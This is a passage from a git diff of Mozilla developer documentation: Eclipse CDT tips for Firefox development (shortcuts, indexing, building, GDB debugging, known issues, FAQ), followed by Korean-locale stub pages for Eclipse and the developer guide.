+<p>Below are some of the more useful user tips. (If you're thinking of adding tips, please first consider how widely useful they'll be before adding to this already lengthy page.) For further documentation see the official <a class="external" href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.platform.doc.user/gettingStarted/intro/overview.htm" title="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.platform.doc.user/gettingStarted/intro/overview.htm">Eclipse user guide</a> and <a class="external" href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.cdt.doc.user/getting_started/cdt_o_tutorial.htm" title="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.cdt.doc.user/getting_started/cdt_o_tutorial.htm">Eclipse CDT user guide</a>.</p>
+
+<h3 id="Keyboard_shortcuts">Keyboard shortcuts</h3>
+
+<p>Regarding key bindings (keyboard shortcuts), the bindings given below are the defaults. You can change the key bindings by opening the workspace preferences (Eclipse &gt; Preferences, or Window &gt; Preferences) and selecting "General &gt; Keys". You can set the scheme to "Emacs" or "Microsoft Visual Studio" if that's your thing, or change individual key bindings. When changing individual key bindings, <u>note that bindings are context sensitive and that any changes you make may be ignored</u> if they conflict with existing bindings, or if they are overridden by a binding for a more specific context. For example, changing the Find Next command to cmd-G/ctrl-G is not sufficient. For that to work you also either need to find the existing bindings for that key combination (using the Bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "When" field to "C/C++ Editor" instead of the more general "Editing Text".</p>
+
+<h3 id="Opening_files">Opening files</h3>
+
+<p>You can quickly open a file by name using Cmd-Shift-R/Ctrl-Shift-R. Although Eclipse doesn't do fuzzy matching when you type a file name, it does allow you to use wildcards.</p>
+
+<p>To quickly switch between a source file and its header file, use Ctrl-Tab.</p>
+
+<p>To quickly switch to a recently viewed document use Cmd-F6/Ctrl-F6. If you want to change this awkward key binding, the command you need to rebind is "Next Editor".</p>
+
+<p>To show a filterable list of open documents (similar to the way Emacs gives you a list of open buffers), use Cmd-E/Ctrl-E.</p>
+
+<p>If you click the yellow, double arrow button at the top of the Project Explorer tab on the left, it will keep the selected file in the Project Explorer tab in sync with the file that you're currently editing.</p>
+
+<h3 id="Organizing_views">Organizing views</h3>
+
+<p>Use Ctrl-M to toggle maximization of the current editor view (the editor must be focused first).</p>
+
+<p>To tab to another view, use Cmd-F7/Ctrl-F7. This is useful if you have maximized the editor using Ctrl-M and you want to quickly see your search results. For example, without un-maximizing the editor.</p>
+
+<p>To side-by-side edit the same file in two different tabs, select the tab of the file that you want to edit, then from the menu bar select "Window &gt; New Editor". This will open another tab containing the same file. Now simply drag that tab to position it beside, above, or below the original. Changes you make in one editor will be immediately reflected in the other.</p>
+
+<p>Note that the Search, Call Hierarchy, and other tabs have a "Pin" button that allows you to open multiple tabs of these type. This is useful if you want to keep your existing search results open, for example, and have a new search open in a separate tab rather than overriding the contents of the existing Search tab.</p>
+
+<h3 id="Code_assistance_2">Code assistance</h3>
+
+<div class="warning">Note: indexing, by its very nature, is specific to a given compiler configuration. Be aware that when Eclipse gives results for any of the actions that follow, it will not include results for sections of the code that are ifdef'ed out by the configuration used to create your object directory. For example, if you are using a Mac and you search for callers of nsDisplayListBuilder::IsInTransform, the results will not include the caller in nsObjectFrame.cpp because that caller is wrapped in "#ifndef XP_MACOSX". Just something to keep in mind. ;-)</div>
+
+<p>To jump to the definition of a symbol (or the declaration of a symbol if already at the definition), hover over the symbol, hold down the Ctrl/Cmd key, move the mouse slightly to linkify the symbol, then click on it. (Having to move the mouse slightly is <a class="link-https" href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=26873" title="https://bugs.eclipse.org/bugs/show_bug.cgi?id=26873">Eclipse bug 26873</a>). Alternately, you can jump to the definition of the symbol under the cursor by pressing F3.</p>
+
+<p>To do a C++ symbol search select "Search &gt; C/C++" from the menubar, or use Ctrl-H and select the "C/C++" Search tab.</p>
+
+<p>To quickly find the definition of an enum, class, method, etc. use Ctrl-shift-t/Cmd-shift-t.</p>
+
+<p>To get a list of autocomplete options in an editor tab, start typing the name of an identifier and then type Ctrl-Space. Unfortunately, the autocomplete list cannot (currently) be configured to appear automatically as soon as you start typing a character that might be the start of an identifier name.</p>
+
+<p>To see the callers of a method (and their callers, etc.), select the method and use the context menu to select "Open Call Hierarchy". Note that there are buttons to the right of the "Open Call Hierarchy" tab that open to switch between "Show Callers" and "Show Callees".</p>
+
+<p>To see the inheritance tree for a class, select its name in an editor window and select "Open Type Hierarchy" from the context menu. Note that you can switch between "Show the Type Hierarchy", "Show the Supertype Hierarchy", and "Show the Subtype Hierarchy" using the buttons to the right of the "Type Hierarchy" tab.</p>
+
+<p>To see the overrides of a virtual method, select that method's name in an editor window and select "Open Type Hierarchy" or, "Quick Type Hierarchy" from the context menu. The results for "Open Type Hierarchy" will show all classes in the class inheritance tree, and the classes that have methods that override the method will have a triangular red marker beside them. If you select one of these classes, then in the method pane to the right the method you searched for will be highlighted (you may need to scroll to it) - double click to see its definition. The results for "Quick Type Hierarchy" will only show those classes in the inheritance tree that override the method. Double click on a class to go straight to its override's definition.</p>
+
+<h2 id="Building_from_Eclipse">Building from Eclipse</h2>
+
+<div class="warning">In short, don't do this. Eclipse doesn't have good facilities for building incrementally in individual directories in the way that Mozilla developers generally require. More importantly, unless you're willing to screw up Eclipse's code assistance (in which case why bother using Eclipse) you're going to have to set Eclipse's "Build" step to do a very slow, non-parallel, full rebuild. (See the "Code assistance" section above for why.)</div>
+
+<p>Nevertheless, if you understand the above warning and you still want to configure Eclipse's "Build" button to invoke a real build, then read on.</p>
+
+<p>Basically, you want to do something similar to the steps in the {{ anch("Initial project properties") }} section above, but use "make -j1 -wB" (or just "make" if you don't care about keeping code assistance working) instead of using just-print-mozilla-build.py.</p>
+
+<p>If you want to invoke "make -f client.mk" from your source directory instead of invoking 'make' from your object directory, then in the "C/C++ Build" section of the project properties, set "Build command" to "make -f client.mk" and set "Build directory" to just "${ProjDirPath}" (this is the top of the source tree). Select the Behavior tab and remove the "all" from the "Build (Incremental build)" field. Select "C/C++ Build &gt; Build Variables", and add a variable "MOZCONFIG", and set it to the path of your .mozconfig file relative to the top source directory. Set any other environment variables you want to set for the build, then close the project properties window.</p>
+
+<p>Now when you hit the Build button (the little hammer icon), you should see the source build in the Console tab at the bottom of the window.</p>
+
+<p>The benefit of building from inside Eclipse is that build errors will appear in the Problems tab at the bottom of the window, and from there you can double click on the build error and it will take you straight to the source file and line where the problem occurred. For this to work reliably though, you still need to build using slow -j1 -w builds, so that make outputs non-interleaved "Entering"/"Leaving" lines. It also used to be necessary to add the following two lines to your mozconfig to make the compiler output errors all on a single line, but that may not be needed anymore:</p>
+
+<pre>export CFLAGS="-fmessage-length=0"
+export CPPFLAGS="-fmessage-length=0"
+</pre>
+
+<h2 id="Debugging">Debugging</h2>
+
+<p class="eval">To create a debug configuration, open the project properties window, and select "Run/Debug Settings" on the left. Click "New", then select "C/C++ Application". In the window that opens enter the path to your firefox binary (something like {your-obj-dir}/dist/NightlyDebug.app/Contents/MacOS/firefox) and select "Disable auto build". Select the Arguments tab and enter any args you want to pass to firefox (such as "--no-remote -p my-testing-profile"). If you're on Linux, you may also need to set the "Working directory" to {your-obj-dir}/dist/bin, and then select the Environment tab and set LD_LIBRARY_PATH to ".:./plugins:." and LIBRARY_PATH to ".:./components:.". (Are these variables really necessary? If so, why? Isn't LIBRARY_PATH for compile time, not runtime, linking?)</p>
+
+<p>In the workspace preferences, you may want to go to "C/C++ &gt; Debug &gt; GDB" and deselect "Stop on startup at", so that Eclipse won't automatically break in main() when it launches Firefox for debugging.</p>
+
+<p>To debug, click the Debug button on the toolbar, or select "Run &gt; Debug" from the menu bar.</p>
+
+<p>It's not obvious, but <a class="external" href="http://wiki.eclipse.org/CDT/User/FAQ#Since_the_debugger_is_gdb.2C_can_I_simply_access_the_gdb_command_line_interface_.28CLI.29.3F" title="http://wiki.eclipse.org/CDT/User/FAQ#Since_the_debugger_is_gdb.2C_can_I_simply_access_the_gdb_command_line_interface_.28CLI.29.3F">you can get a gdb prompt in the console</a> so that you can type gdb commands directly.</p>
+
+<p>After you've finished debugging, you can get back to the C/C++ perspective (i.e. window layout) via the menubar by selecting "Window &gt; Open Perspective &gt; C/C++".</p>
+
+<h3 id="Upgrading_GDB_on_Mac">Upgrading GDB on Mac</h3>
+
+<p>The ancient, barely maintained Apple fork of GDB that comes with Xcode on Mac is really horrible. If you use Mac, you may want to <a class="external" href="http://sourceware.org/gdb/wiki/BuildingOnDarwin" title="http://sourceware.org/gdb/wiki/BuildingOnDarwin">build the latest FSF version of GDB</a> and set Eclipse to use that GDB for debugging. One suggested configuration for building GDB is '--prefix="$HOME" --disable-debug --with-python=/usr' (create an optimized build with <a class="external" href="http://sourceware.org/gdb/wiki/PythonGdbTutorial" title="http://sourceware.org/gdb/wiki/PythonGdbTutorial">support for Python</a> (so that you can use python to much better control when you break etc.), and install it in $HOME/bin). That done, open the workspace preferences, select "C/C++ &gt; Debug &gt; GDB", and set "GDB Debugger" to the full path of your new gdb executable.</p>
+
+<h3 id="GDB_unexpectedly_detaching">GDB unexpectedly detaching</h3>
+
+<p>If GDB starts ignoring your breakpoints, or unexpectedly terminates or detaches from the Firefox process, this may be caused by out of date breakpoints (breakpoints that you set during a previous debug session, after which you've since rebuilt). Remove any such breakpoints and restart your debug session.</p>
+
+<h2 id="Known_Issues">Known Issues</h2>
+
+<p>There are various known limitations and bugs when it comes to using Eclipse with Mozilla. Eclipse is open source, of course so if anyone feels like doing a bit of Java hacking to fix these issues that'd be great. </p>
+
+<h3 id="Headers_are_only_parsed_once">Headers are only parsed once</h3>
+
+<p>For performance reasons, Eclipse only processes header files that have include guards once, using the compiler options for the first source file it encounters that includes that header (<a class="link-https" href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=380511" title="https://bugs.eclipse.org/bugs/show_bug.cgi?id=380511">Eclipse bug 380511</a>). This is responsible for most of the parse errors in the source files displayed in Eclipse. One problem with the "parse once" strategy is that the compiler options for the original source file may ifdef out sections of the header, that would not be ifdef'ed out - and in fact are required by - source files in other parts of the tree.</p>
+
+<p>For example, in content/svg/content/src/nsSVGEllipseElement.cpp Eclipse shows a parse error due to NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO not being defined. This define is in nsDOMClassInfoID.h, which is included via the following include chain:</p>
+
+<pre>content/svg/content/src/nsSVGEllipseElement.cpp
+ content/svg/content/src/nsSVGPathGeometryElement.h
+  content/svg/content/src/nsSVGGraphicElement.h
+   content/svg/content/src/nsSVGStylableElement.h
+    content/svg/content/src/nsSVGElement.h
+     content/base/src/nsGenericElement.h
+      obj-debug/dist/include/nsDOMClassInfoID.h
+</pre>
+
+<p>In nsDOMClassInfoID.h the NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO define is behind an |ifdef _IMPL_NS_LAYOUT|. The properties for nsSVGEllipseElement.cpp show that this define was picked up by the build option discovery and set on nsSVGEllipseElement.cpp, but somehow it's not set for nsDOMClassInfoID.h. However, if you right click on nsDOMClassInfoID.h in the Project Explorer and select "Index &gt; Create Parser Log File", the log shows "Context" is set to "accessible/src/base/AccEvent.cpp", not "content/svg/content/src/nsSVGEllipseElement.cpp", and if you check the properties for AccEvent.cpp, indeed it is not built with the _IMPL_NS_LAYOUT define.</p>
+
+<p>One way to mitigate this problem is to explicitly define defines on problem directories. For example, to solve the _IMPL_NS_LAYOUT issue described above, you would use the context menu for the 'layout' directory in the Project Explorer tab to open the directory's properties. You'd select "C/C++ General &gt; Prepocessor Include Paths, Macros etc.", and select "GNU C++" and "CDT User Settings Entries". You'd then click "Add", select "Preprocessor Macro" from the drop-down, and set Name to _IMPL_NS_LAYOUT and leave Value blank. Finally, you'd click OK twice to return to the main Eclipse window, and then use the context menu for the 'layout' directory to re-index the 'layout' directory, and then to "Run C/C++ Code Analysis" on it to see if the problem is fixed.</p>
+
+<p>This "parse once" strategy can also cause "Unresolved inclusion" errors in headers if the first time Eclipse sees the header is while indexing a file for which it doesn't have any build output parser data. (Since it then has no explicit include paths to search.) When this happens it frequently causes knock-on errors for the files that include that header (directly or indirectly), since they too now have things missing. People who have their object directory <u>out</u>side their source directory need to take special note of this issue. When the object directory is <u>in</u>side the source directory (and not filtered out by a resource filter), then Eclipse's "Allow heuristic resolution of includes" option (enabled by default) will generally allow the included headers to be found when Eclipse processes source files, that don't have any build output parser data. However, when the object directory is <u>out</u>side the source directory, Eclipse doesn't know about it - or the headers it contains - unless the user takes extra steps to tell it. This is the reason that the instructions in the {{ anch("Initial project properties") }} section above instruct users that have their object directory outside their source directory to explicitly add {objdir}/dist/include to the project's "CDT User Setting Entries".</p>
+
+<p>Fixing <a class="link-https" href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=381601" title="https://bugs.eclipse.org/bugs/show_bug.cgi?id=381601">Eclipse bug 381601</a> would considerably reduce the impact of the "Unresolved inclusion" issue. (Update 2017-03-28: The option <a href="http://wiki.eclipse.org/CDT/User/NewIn83#Preferences_for_header_variants">Index all header variants</a> has been added in version 8.3.0, as explained in a <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=381601#c17">comment</a> of the mentioned bug. This option allows to have multiple definitions for the same header file, which might fix this issue. Update 2017-11-04 by jwatt: Ticking the "Index all header variants" option caused Eclipse to blow through the 12 GB of RAM I'd given it while indexing before it ran out of memory and crashed.)</p>
+
+<h3 id="There_are_parser_errors">There are parser errors</h3>
+
+<p>It is expected that Eclipse will show parser errors even for a known-good copy of the Mozilla source. Parser errors/warnings are indicated by red/yellow markers on files in the Project Explorer tab, and in the gutter down the right-hand side of open source files. In the case of the latter you can click on the marker to jump to the problem line and then hover over the "bug" icon to get an explanation of what's wrong.</p>
+
+<p>The parser error indicators don't seem to show (reliably?) until you open a source file, then error markers will be added for that file. To force all markers to show for a directory in the Project Explorer tab, right-click that directory in the Project Explorer tab and select "Run C/C++ Code Analysis". As well as adding the markers, this will give you a list of the issues in the Problems tab at the bottom of the window where you can double-click to jump to the location of any given issue.</p>
+
+<p>Many of the parser errors are the result of the {{ anch("Headers are only parsed once") }} issue, while others are the result of Eclipse trying to do its best to process files that are not built under your configuration (e.g. files compiled only on other platforms) and that therefore have no build output parser data associated with them.</p>
+
+<p>If you are trying to dig into a particular parser errors to figure out what it's about, here are a few things you can try:</p>
+
+<ol>
+ <li>Select your project in the Project Explorer, then from the context menu select "Index &gt; Search for Unresolved Includes".</li>
+ <li>For problematic source files, select the file in the Project Explorer and from the context menu select "Index &gt; Create Parser Log File".</li>
+ <li>Select your project in the Project Explorer, then from the context menu select "Index &gt; Rebuild". When the indexing is done, open the log using "Window &gt; Show View &gt; Other &gt; General &gt; Error Log" and check the summary and look for exceptions.</li>
+</ol>
+
+<h3 id="Searching">Searching</h3>
+
+<p>Free text search is not backed by a database, so it is <em>extremely</em> slow. Furthermore, the results are not saved so if you immediately search for the exact same text again without any changes to the source files having occurred, Eclipse will do a slow search all over again.</p>
+
+<p>It is not easy to restrict searches to an arbitrary directory, which is pretty annoying given how slow free text search is. (You have to create a new working set containing that directory.)</p>
+
+<p>Search history in a project is not preserved across restarts.</p>
+
+<p>Duplicate searches in history - even consecutive ones - are not coalesced.</p>
+
+<h3 id="Duplicate_files">Duplicate files</h3>
+
+<p>Sometimes when searching for files or symbols you will be given the option between a file in the source tree, and a file of the same name under the object directory. (Some source and header files are copied to the object directory by the build process, so we end up with copies in both places.) This will happen if your object directory is inside the source directory. If you don't want to switch to using an object directory that's outside your source tree, then this is just one of those things that you'll have to live with. (If you do change the location of your object directory, then note the instructions that will then apply to you in the {{ anch("Initial project properties") }} section above!) Since the indexer needs to be able to resolve header files in the object directory in order to produce good results, we can't have Eclipse ignore the object directory. But then there's no way to tell Eclipse that any given file in the object directory is actually just a copy of a given file in the source directory and that it should always show the user the copy in the source directory while using the file in the object directory for indexing.</p>
+
+<h3 id="Building">Building</h3>
+
+<p>Eclipse's support for building only in certain directories is non-existent. It would be great if the Console tab gave you a shell prompt so that you could invoke commands to build directly from there.</p>
+
+<p>Failing that, it would be nice if Eclipse could at least pass information about what files have changed to the build process, which could then decide on a faster way to do the build (e.g., "just make in layout/"). I (roc) have actually written a small change to the CDT Make builder that lets you specify that as an option, in which case Eclipse sends the names of all changed files to your build tool. The build tool is a Perl script that figures out if a faster build is possible and if so, does it.</p>
+
+<h2 id="FAQ">FAQ</h2>
+
+<p>Here are some frequently asked questions.</p>
+
+<h3 id="Why_does_Eclipse_need_an_object_directory">Why does Eclipse need an object directory?</h3>
+
+<p>To provide good code assistance Eclipse needs you to have a build directory for two reasons.</p>
+
+<p>First, Eclipse needs to be able to collect a usable set of defines, include paths, and preinclude files for the source files in the tree, as explained in the {{ anch("Code assistance") }} section above.</p>
+
+<p>Second, Eclipse CDT's indexer needs an object directory because virtually all Mozilla source files include header files (directly or indirectly) that have been copied to or generated in the object directory. Without an object directory, the indexer would find that a lot of header files are missing when processing the source files, which would significantly degrade its ability to index the source and provide good code assistance.</p>
+
+<h3 id="How_can_I_open_Eclipse_for_multiple_trees_at_once">How can I open Eclipse for multiple trees at once?</h3>
+
+<p>To be able to open more than one workspace at a time, you currently need to launch a <em>separate</em> Eclipse process for each workspace.</p>
+
+<p>On Mac, create a script called something like open-my-workspace.py, give it the following contents, replacing the bold paths as appropriate, and make it executable (chmod a+x open-my-workspace.py):</p>
+
+<pre>#!/usr/bin/env python
+import os, subprocess
+eclipse_app_path = <strong>"path/to/Eclipse.app/Contents/MacOS/eclipse"</strong>
+workspace_path = <strong>os.path.join(os.environ['HOME'], "HOME/relative/path/to/the/directory/of/the/workspace/you/want/to/open")</strong>
+subprocess.Popen([eclipse_app_path, "-data", workspace_path])
+# <strong>Uncomment the following line to automatically close the Terminal window</strong>
+# <strong>that opens if you run this script by double clicking it in Finder.</strong>
+#subprocess.Popen(["osascript", "-e", 'tell application "Terminal"', "-e", "close front window", "-e", "end tell"])
+</pre>
+
+<p>TODO: add instructions for Linux and Windows.</p>
+
+<h3 id="Is_there_a_Mercurial_plugin_for_Eclipse">Is there a Mercurial plugin for Eclipse?</h3>
+
+<p>There is <a class="external" href="http://www.intland.com/products/mercurialeclipse/download" title="http://www.intland.com/products/mercurialeclipse/download">MercurialEclipse</a>, but probably most Mozilla developers will just prefer to use the command line. If you think we need our own documentation on MercurialEclipse, please consider adding a separate page for that tool since this page is already pretty long.</p>
+
+<h3 id="How_can_I_delete_my_Eclipse_project_and_start_over">How can I delete my Eclipse project and start over?</h3>
+
+<p>If you followed the recommendation above to create one workspace containing only one project for each Mozilla tree, then this is easy. (If you didn't, and you have projects for more than one source tree entangled in a workspace directory, well, you're on your own.) Simply delete the <code>.project</code> and <code>.cproject</code> files and the <code>.settings</code> directory (if it exists) from the root of your Mozilla tree, and then delete the workspace directory corresponding to your tree. That's it; you can now create a new Eclipse workspace and project for your tree from scratch.</p>
+
+<h3 id="Isnt_there_a_better_method_of_build_option_discovery">Isn't there a better method of build option discovery?</h3>
+
+<p>Yes, but Eclipse doesn't currently support it. Instead of processing build console output, Eclipse could use something like LD_PRELOAD to load its own little library into all the processes that are invoked as part of the build process. This library could then check whether the process is a compiler instance and, if so, use the processes' current working directory and the arguments that were passed to it to reliably obtain the information it needs for each source file that is compiled. This would eliminate the requirement for non-parallelized, non-silenced builds. You could also build from Eclipse and get the benefits that that brings.</p>
+
+<h3 id="How_can_I_run_a_more_recent_CDT_version">How can I run a more recent CDT version?</h3>
+
+<p>This can be useful if you need to get certain bug fixes, or to help with testing to make sure that new Eclipse bugs that affect its use with Mozilla don't get shipped. If you've downloaded an <a class="external" href="http://www.eclipse.org/downloads/index-developer.php" title="http://www.eclipse.org/downloads/index-developer.php">Eclipse Developer build</a> then you can use Eclipse's software update mechanism to update your developer snapshot to the latest nightly for that developer branch. To do that, carry out the following steps.</p>
+
+<p>From Eclipse's "Help" menu select "Install New Software...", then in the "Install" window that opens, click "Available Software Sites". In the window that opens, click "Add", and in the prompt set Name to something like "Nightly" and Location to something like "<a class="external" href="http://download.eclipse.org/tools/cdt/builds/juno/nightly" rel="freelink">http://download.eclipse.org/tools/cd...s/juno/nightly</a>" (change "juno" to the current developer branch). Click "OK", then "OK" again. Type "Nightly" into the "Work with" field and select the repository that you just added. (If it doesn't appear, close the window, reopen it from the Help menu, and try again.) A "CDT Main Features" option should now have been added in the area below. Tick this (<em>all</em> of its sub-options should then be ticked), click "Next" twice, accept the license agreement, and then click "Finish". Eclipse should now update itself and ask you to restart.</p>
+
+<p><strong>Troubleshooting:</strong> If you get an error when trying to update, try clicking "Available Software Sites" in the "Install" window, make sure "Juno" is still unticked, that "Nightly" is ticked, highlight "Nightly", click "Reload", "OK", and then try again.</p>
+
+<h2 id="Troubleshooting">Troubleshooting</h2>
+
+<p>Here is a list of problems people have encountered, and suggestions for solutions.</p>
+
+<h3 id="Problem_Occurred_Java_heap_space">Problem Occurred (Java heap space)</h3>
+
+<p>If Eclipse becomes glacially slow or hangs and then you get this error message, see the {{ anch("Increasing memory limits") }} section above. If you already carried out the instructions in that section, then double check that your changes to Eclipse's memory limits actually took effect and are present in <code>Eclipse/Help &gt; About Eclipse &gt; Installation Details &gt; Configuration</code>. If they did, then maybe you need to increase the limits still further for your OS/JVM combination.</p>
+
+<h3 id="Resource_is_out_of_sync_with_the_file_system">Resource is out of sync with the file system</h3>
+
+<p>If you get the message "Resource is out of sync with the file system", then you didn't set the "Refresh" options above in the {{ anch("Initial workspace preferences") }} section. Either set those, or else refresh the project (or an individual directory/file) manually using the Refresh item from the context menu in the Project Explorer tab.</p>
+
+<h2 id="Old">Old</h2>
+
+<p>Everything that follows is old content that should maybe just be deleted now?</p>
+
+<h3 id="GDB_Timeouts">GDB Timeouts</h3>
+
+<p>I don't think this old comment from 2007/2008 is an issue anymore.</p>
+
+<p>Out of the box, you may/will get GDB connection timeouts. This is because Eclipse is trying to push every subfolder in GDB's environment. The easiest way to resolve this issue is to remove any source entry from the debug configuration (Run-&gt;Open Debug Dialog...) in the Source tab. Doing so will, unfortunately, remove the binding between the binaries and the source code. To keep this feature working, you need to add a "Path Mapping" by clicking "Add..." in the Source tab. Once a "Path Mapping" is created, select "Edit..." and add an entry with these values</p>
+
+<pre class="eval"> Compilation path: /
+ Local file system path: /
+</pre>
+
+<p>This is the only known workaround to bind binaries to source files. It has been tested and works perfectly under Eclipse Europa (3.3.2) with Eclipse-CDT (4.0.3).</p>
diff --git a/files/ko/mozilla/developer_guide/eclipse/index.html b/files/ko/mozilla/developer_guide/eclipse/index.html
new file mode 100644
index 0000000000..5a1b2aae8a
--- /dev/null
+++ b/files/ko/mozilla/developer_guide/eclipse/index.html
@@ -0,0 +1,10 @@
+---
+title: Eclipse
+slug: Mozilla/Developer_guide/Eclipse
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Developer_guide/Eclipse
+---
+<p>There are versions of eclipse for several of the different languages that are used by Mozilla.</p>
+<p>For documentation on using Eclipse CDT for Mozilla C/C++ development, see the <a href="/en/Eclipse_CDT" title="en/Eclipse_CDT">Eclipse CDT</a> page.</p>
diff --git a/files/ko/mozilla/developer_guide/index.html b/files/ko/mozilla/developer_guide/index.html
new file mode 100644
index 0000000000..e497c4143a
--- /dev/null
+++ b/files/ko/mozilla/developer_guide/index.html
@@ -0,0 +1,92 @@
+---
+title: 개발자 가이드
+slug: Mozilla/Developer_guide
+tags:
+  - Developing Mozilla
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Developer_guide
+---
+<p>당신이 숙련가이든 방금 시작했든,  이 페이지에 있는 글들은 당신이 모질라 개발을 할 수 있게끔 도와줄 것입니다.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation_topics">Documentation topics</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Introduction" title="Introduction">시작하기</a></dt>
+     <dd>A step-by-step beginner's guide to getting involved with Mozilla.</dd>
+    </dl>
+
+    <dl>
+     <dt><a class="internal" href="/en-US/docs/Developer_Guide/Source_Code" title="en-US/docs/Developer_Guide/Source_Code">Working with Mozilla Source Code</a></dt>
+     <dd>A code overview, how to get the code, and the coding style guide.</dd>
+     <dt><a class="internal" href="/en-US/docs/Developer_Guide/Build_Instructions" title="en-US/docs/Developer_Guide/Build_Instructions">Build Instructions</a></dt>
+     <dd>How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Development_process_overview" title="en-US/docs/Developer Guide/Development process overview">Development process overview</a></dt>
+     <dd>An overview of the entire Mozilla development process.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Multiple_Firefox_Profiles" title="en-US/docs/Mozilla/Multiple_Firefox_Profiles">Managing multiple profiles</a></dt>
+     <dd>When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.</dd>
+     <dt><a class="internal" href="/en-US/docs/Mozilla_automated_testing" title="en-US/docs/Mozilla automated testing">Automated Testing</a></dt>
+     <dd>How to run Mozilla's automated tests, and how to write new tests.</dd>
+     <dt><a class="internal" href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="en-US/docs/Getting your patch in the tree">How to submit a patch</a></dt>
+     <dd>After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Getting_documentation_updated" title="en-US/docs/Developer_Guide/Getting documentation updated">Getting documentation updated</a></dt>
+     <dd>How to ensure that documentation is kept up to date as you develop.</dd>
+     <dt><a class="internal" href="/en-US/docs/Mozilla_Modules_and_Module_Ownership" title="en-US/docs/Mozilla Modules and Module Ownership">Mozilla modules and module ownership</a></dt>
+     <dd>This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.</dd>
+     <dt><a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">Code snippets</a></dt>
+     <dd>Useful code samples for a wide variety of things you might need to figure out how to do.</dd>
+     <dt><a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Mozilla development strategies</a></dt>
+     <dd>Tips for how to make the most of your time working on the Mozilla project.</dd>
+     <dt><a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">Debugging</a></dt>
+     <dd>Find helpful tips and guides for debugging Mozilla code.</dd>
+     <dt><a href="/en-US/docs/Performance" title="en-US/docs/Performance">Performance</a></dt>
+     <dd>Performance guides and utilities to help you make your code perform well (and to play nicely with others).</dd>
+     <dt><a class="internal" href="/en-US/docs/The_Mozilla_platform" title="en-US/docs/The Mozilla platform">The Mozilla platform</a></dt>
+     <dd>Information about the workings of the Mozilla platform.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object" title="en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object">Adding APIs to the navigator object</a> {{ gecko_minversion_inline("9.0") }}</dt>
+     <dd>How to augment the {{ domxref("window.navigator") }} object with additional APIs.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Interface Compatibility</a></dt>
+     <dd>Guidelines for modifying scriptable and binary APIs in Mozilla.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">Customizing Firefox</a></dt>
+     <dd>Information about creating customized versions of Firefox.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Virtual ARM Linux environment</a></dt>
+     <dd>How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.</dd>
+     <dt><a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Obsolete Build Caveats and Tips</a></dt>
+     <dd>A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools">Tools</h2>
+
+    <dl>
+     <dt><a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+     <dd>The <a class="internal" href="/en-US/docs/Bugzilla" title="en-US/docs/Bugzilla">Bugzilla</a> database used to track issues for Mozilla projects.</dd>
+     <dt><a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt>
+     <dd>Browse and search the Mozilla source code repository on the Web.</dd>
+     <dt><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+     <dd>The <a class="internal" href="/en-US/docs/Bonsai" title="en-US/docs/Bonsai">Bonsai</a> tool lets you find out who changed what file in the repository, and when they did it.</dd>
+     <dt><a class="internal" href="/en-US/docs/Mercurial" title="en-US/docs/Mercurial">Mercurial</a></dt>
+     <dd>The distributed version-control system used to manage Mozilla's source code.</dd>
+     <dt><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt>
+     <dd><a class="internal" href="/en-US/docs/Tinderbox" title="en-US/docs/Tinderbox">Tinderbox</a> shows the status of the tree (whether or not it currently builds successfully).  Check this before checking in and out, to be sure you're working with a working tree.</dd>
+     <dt><a class="internal" href="/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt>
